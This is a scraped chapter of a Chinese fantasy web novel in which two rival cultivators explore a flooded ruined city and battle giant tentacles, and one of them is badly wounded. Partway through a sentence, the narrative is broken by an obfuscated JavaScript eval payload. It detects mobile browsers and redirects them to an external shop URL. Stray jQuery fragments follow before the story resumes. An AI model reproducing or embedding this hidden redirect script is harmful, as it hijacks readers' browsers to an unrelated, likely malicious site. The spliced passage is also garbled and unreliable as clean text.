文趣网 > 其他小说 > 宿敌竟是早亡的道侣 > 10. 他生性高洁的敌人
    涟漪渐渐消散,水面下的断壁残垣露出一个个狰狞的尖角。

    姜瑶光半蹲身体,躬身望向水面。

    水面映出她的影子。影子被风吹着,轻轻颤抖着,沉沉的水面下,似乎在酝酿着黑色的阴谋。

    姜瑶光忽地瞳孔微缩,疾呼道:“小心!!”

    话音未落,两人已齐齐向后退去。

    几乎是同时,一道暗青色的阴影冲破水面,朝着两人所在的位置袭来。

    嘭!!

    暗影扑了个空,重重地击打在屋檐上。

    刹那间,屋瓦片片碎裂,水珠天女散花似地飞溅,城中宛若下了一场雨。

    姜瑶光跃到不远处的另一个屋檐上,微微皱起眉头,手已搭在剑鞘上。

    商悬秀站在她身侧,垂眸扫视着水面:“看见是什么东西了吗?”

    “……没看清。”

    水下的东西动作极快,阴影如巨大的鞭,卷着水珠飞快地一扫,又瞬间浸入水面,不见踪影。

    商悬秀抬手擦去溅到额角的水珠:“看来这里不太安全。”

    说着,不着痕迹地皱起眉。

    时隔多年重回天工岛,这里似乎多了一些不在他掌控之中的东西。

    姜瑶光凝神打量着水面:“方才一瞥,我看到那东西有些像动物的腕足。也许是什么妖兽,机缘巧合之下,将这座空城当成了自己的巢穴。”

    商悬秀不置可否,只转过身,轻飘飘笑道:“不管是什么,再敢出现,杀了就是。”

    姜瑶光慢慢道:“正是如此。”

    她从被水珠浸透的瓦砾间走过,视线扫过水面,手指若有所思地点了点剑柄。

    看起来,这个假冒的李逄夜,对天工城也没那么了解。至少,他应该确实没想到会有“妖兽”藏在水面下袭击两人。

    他来这里,真的是为了太初?

    正出神想着,走在前面的商悬秀停住了脚步。

    姜瑶光敛去思绪,扫了眼前方景象,也不禁皱起眉头。

    那是半截断掉的石桥。

    天工城建筑多为高楼,楼与楼之间由精巧的桥连接,形成一条条悬空通道,便于通行。

    这些桥都是由特殊石料垒成,上面雕刻了固化法阵,若无外力,使用千年也不会垮塌。

    只是面前这座悬空桥,不知遭了什么磨难,桥身似乎被暴力毁去,只剩连接两人所在高楼的小半截桥面。

    许是年头久了,连仅剩的桥面也破败不堪,桥面上长满了暗青色的苔藓,一些藤蔓纠缠在勾阑上,凌乱野蛮地生长着。

    姜瑶光走到桥的断面处,凝眉道:“奇怪。”

    刚才离得远不曾注意,如今走近了,方才瞧见桥的断裂处十分整齐,分明是被利器斩断的。

    她屈膝半蹲,用手指轻触断面处,指尖顿时传来有些酥麻的感觉:“还残留着微弱的剑气,看来是被人用剑斩断的。”

    商悬秀道:“陆家也有几位小有名气的剑修,能斩断桥也不足为奇。”

    姜瑶光站起身,眉头仍未舒展。

    来东洪波州之前,她特地调阅了记载陆氏灭门惨案的卷宗。卷宗清楚地记载,天工城街道、建筑均完好,全无打斗的痕迹。

    而她现在所在的这个天工城……似乎与记载中的天工城不太一样。

    姜瑶光的目光越过断桥,落到对面:“先过去看看。”

    说罢足尖轻点,轻盈一跃,身形如一只白色的鸟雀,眨眼间飞渡到高耸的楼阁之间。

    站稳身体,姜瑶光俯视前方,入目皆是一片颓然的灰绿,建筑十不存一,仅剩的建筑也已爬满苔痕,倒塌的废墟浸在水中。

    尽管已时隔百年,战斗的痕迹仍未消减,放眼望去,尽是残痕。

    “难道百年前,天工城内曾发生过一场惨烈的打斗?”

    商悬秀走到她身后:“陆氏是一流世家,底蕴深厚,想要无声无息将他们一族抹杀,普天之下,能做到的人屈指可数。”

    姜瑶光垂眸望着那片废墟,心中生疑。

    这痕迹如此明显,负责调查的弟子绝不可能漏掉。既然不是错漏,卷宗中为何没有记载?

    念头微转,又想:“难道天工城有两个,这个天工城,才是真正的案发地?”

    她曾听说有一种特殊的空间法阵,刻在已有的建筑上,可以将其完全复制,开辟出一个一模一样的阴空间。

    这种法阵早已失传,甚至鲜少有人听说过。不过陆氏底蕴深厚,会用类似的法阵倒不奇怪。

    思绪千回百转,却只在瞬间。

    姜瑶光回过神:“穿过这片废墟,再往前就是千万具塔了。我看这一片气息混杂,说不定藏着什么妖兽,还是小心为上。”

    商悬秀用折扇抵住唇角:“谢谢道友关心。”

    他自顾自把这句话当成了对他的关心。

    姜瑶光没有反驳他。

    她略一拂袖,跃上浮出水面的断壁一角,又顺着废墟向前飞去。

    作为陆氏一族的核心区域,千万具塔周围布下了大型禁空法阵,且由几十丈宽的半月形水渠与外围建筑分隔开,远远望去,恰如一座伫立在湖心的小岛。

    想进入千万具塔,只有一座桥可走。

    姜瑶光四下眺望,只见楼阁倾圮、江水茫茫,却不见什么桥。

    显然,那座桥也已成了水下废墟的一部分。

    正思索间,姜瑶光眼皮忽地一跳,疾速抬手抽出腰间佩剑,雪亮剑光迸射而出,猛然撞向水面。

    剑光与水光交织,墨青色的阴影蓦地钻出水面,又在瞬间被剑刃斩得四分五裂,狠狠摔进水中,激起一片巨浪。

    姜瑶光瞥了眼剑刃:“没有血,不是妖兽。”

    她后退几步,落回断壁露出水面的一角,视线从前方掠过。

    周围的废墟被激烈的水流搅动,相继沉入水中,放眼望去,只看得到一片死灰色的水面。

    “想将我们逼到水上吗?”

    商悬秀眼珠下移:“它来了。”

    飘忽的尾音尚在姜瑶光耳边环绕,脚下却已传来一声巨响,一条黑色的触手直直刺碎仅剩的落脚点,疾速朝二人卷来。

    那触手足有几十人合抱粗细,甫一出现,就遮盖了所有天光。两人站在它面前,竟如两只小小的蚂蚁。

    两人退至水上,脚尖在水面上点出道道涟漪。

    商悬秀单手捏诀,姜瑶光则是拎着剑,冷淡地瞥着两人身后。

    “后面也有。”

    商悬秀道:“看来我们运气不太好,进了它们的老巢。”

    说话间,两人脊背相抵,共同扫视着周围的一切。两个各怀心思的人,在此刻竟形成了一种难

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836895|211471||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    言的默契。

    姜瑶光并未说话,沉默地抬起手中的剑。

    剑器锋利的光芒映在水面上,烁烁寒光闪烁间,形状恰如鱼脊,眨眼间突刺至那触手身前,将其竖切为均匀的两半。

    被劈成两半的触手轰然倒下,却有更多触手从水下钻出,蜂拥着朝她涌来,杀也杀不尽。

    姜瑶光蹙了蹙眉,回头看商悬秀,他那边情况和她差不多,也陷入了苦战。

    这触手力量极强,速度又快,恐怕金丹修士也只能勉强应对,更棘手的是它们的数量仿若无穷无尽。

    现在陆氏结界已经破损,倘若不能在此将它根除,让它逃到外界,必将贻害无穷。

    她来天工岛,本只想找到恃玉的弱点,没想过其他。

    只是如今让她碰到,她却不能就这样甩开手去。

    剑气纵横而出,又将几只触手斩落,姜瑶光脑中念头飞转,凝神观察着眼前的触手。

    仔细一瞧,才发现触手上满是青紫色的瘢痕,且瘢痕的形状特殊,远远看去,竟像是一张张扭曲的面孔。

    姜瑶光心头一动,似是想到了什么,不由得低声唤道:“李少主,你看……”

    话音未落,却觉身后一沉,又湿又黏的热意透过薄薄的衣衫,浸到她的背上。

    湿热滑腻的触感,像一条温热的鱼。

    毛骨悚然。

    姜瑶光道:“你受伤了?”

    回头一看,又有些吃惊。

    只见商悬秀整个右腹都被贯穿,鲜血不断涌出。伤口皮肉翻卷,甚至能看到白森森的肋骨。

    他正抓着一条触手,掌中灵力凝聚。

    刹那间,触手就像被扔进了风暴正中一般,被扯得扭曲。

    商悬秀垂手,慢条斯理道:“对不起,道友。弄脏了你的衣服。”

    他流了好多血。两人脊背相抵,那血就从他的身上,染到了她的身上,将她一袭雪一般的白衣染得血红。

    姜瑶光放缓语气:“一件衣服罢了,不碍事。”

    心中却有几分怀疑。

    虽然不知道这个假李逄夜的真实身份,但据她观察,应当不弱,怎么会如此轻易就受了重伤?

    难不成是故意的?

    可姜瑶光想破脑袋也想不出来,故意受重伤对他有什么好处。

    眼看着更多触手被血腥味吸引,张牙舞爪朝着两人袭来,姜瑶光暂且放下疑虑:“水位还在上涨,你的伤也需要处理,不能再在这里逗留下去了。”

    她环视四周,看到了不远处的建筑群。

    “那边的建筑只塌了一半,应该还能进人,我们先去避一避吧。你还能行动吗?”

    商悬秀抚着腰部的伤,愉快道:“一点小伤,没事的。”

    鲜血濡湿他的发丝,乌黑的长发成缕黏在他的脖颈上,像是一缕一缕黑色的烟。

    商悬秀微微侧头,俯眼瞧她。

    她身上沾了他的血。湿漉漉的血,瘟疫般蔓延,浸在她的肌肤和衣裳之间,衣角也沾了血点,石榴般猩红。

    他生性高洁的敌人,一丁点儿的脏污都会让她感到不适。

    他乐于看到她不适地蹙起眉的模样,为此甘愿承受任何痛苦。

    哪怕那不适也只是一丁点儿,小得像是一粒石榴籽。和着猩红的石榴肉吞进去,匆匆咽下,了然无踪。